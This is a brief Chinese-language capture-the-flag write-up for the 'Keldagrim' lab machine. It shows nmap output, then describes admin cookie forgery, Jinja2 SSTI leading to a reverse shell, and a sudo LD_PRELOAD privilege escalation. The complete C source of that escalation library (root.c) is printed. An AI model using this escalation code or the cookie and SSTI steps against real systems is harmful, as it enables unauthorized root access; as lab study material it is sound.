Keldagrim
端口扫描
root@ip-10-10-80-215:~/keldagrim# nmap -sTCV -p 22,80 --min-rate 1000 10.10.16.204
Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-05 02:53 BST
Nmap scan report for ip-10-10-16-204.eu-west-1.compute.internal (10.10.16.204)
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d8:23:24:3c:6e:3f:5b:b0:ec:42:e4:ce:71:2f:1e:52 (RSA)
| 256 c6:75:e5:10:b4:0a:51:83:3e:55:b4:f6:03:b5:0b:7a (ECDSA)
|_ 256 4c:51:80:db:31:4c:6a:be:bf:9b:48:b5:d4:d6:ff:7c (EdDSA)
80/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-cookie-flags:
| /:
| session:
|_ httponly flag not set
|_http-title: Home page
MAC Address: 02:DC:1D:83:9C:2B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds
80
我在此进行目录扫描但是很可惜速度非常慢, 而且扫描的结果也是不重要的. 我们直接看网站, 在查看网页的流量时我发现其 cookie 的内容非常的特殊
当我将其解密后发现其是 guest 的意识, 所以这里直接换成 admin 的 base64 进行操作, 之后我们就可以访问我们的管理员页面了, 注意此时的页面 返回信息以及 cookie , 在 cookie 中有一个独特的内容 sales 如果你将其解密你会发现其就是$2,165 , 所以此时还等待什么直接 SSTI 走起
经过一系列判断我最终判定是一个 Jinja2 的程序
后渗透
jed
利用我们的 SSTI 获取一个反向 Shell CyberChef
###jed —> root
我发现 jed 存在 SUDO 特权并且存在一个特殊的权限
参考 LD_PRELOAD和LD_LIBRARY_PATH 进行操作
-
创建我们的 root.c
root@ip-10-10-80-215:~/keldagrim# cat root.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
} -
将 root.c 上传并编译后进行指定运行